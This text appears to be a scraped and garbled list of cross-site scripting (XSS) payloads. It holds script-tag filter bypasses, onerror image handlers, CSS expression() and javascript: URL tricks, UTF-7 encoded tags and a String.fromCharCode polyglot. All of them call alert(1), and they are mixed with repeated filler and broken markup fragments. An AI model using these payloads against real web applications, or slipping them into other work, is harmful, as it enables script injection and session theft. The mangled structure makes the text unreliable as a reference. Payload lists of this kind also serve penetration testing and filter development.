J

javascript

crosssitespt <!-- <img src="

'"><\x3Cscript>javascript:alert(1)</script> '"><\x00script>javascript:alert(1)

\x3Cscript>javascript:alert(1) '"`> javascript:alert(1)javascript:alert(1)javascript:alert(1) -->
--> --> --> --> `"'>

test test test test test test test test test test test test test test "'`>ABC
DEF "'`>ABC
DEF "'`> "'`> ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test `"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
"`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
alert(1)0
"> "> foo=">"> foo=">">
XXX
javascript:alert(1)//"
`><img src=x:x onerror=javascript:alert(1)></a>
X p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red}; @import "data:,*%7bx:expression(javascript:alert(1))%7D"; XXXXXX *[{}@import'%(css)s?]X
XXX
XXX / style=x:expression\28javascript:alert(1)\29> *{x:expression(javascript:alert(1))}
X
X
X
X
XXX
#x{font-family:foo[bar;color:green;} #y];color:red;{} XXX &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi &
<

@import'%(css)s'; li {list-style-image: url("javascript:javascript:alert(1)");}
  • XSS

    javascript:alert(1); .XSS{background-image:url("javascript:javascript:alert(1)");} BODY{background:url("javascript:javascript:alert(1)")} XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(1)"> +ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- X







































    a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');} &&

    ]]
    test1 test1 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> '';!--"=&{()}
    xxs link xxs link
    ">
    perl -e 'print "
    ";' > out
    <
    li {list-style-image: url("javascript:alert('XSS')");}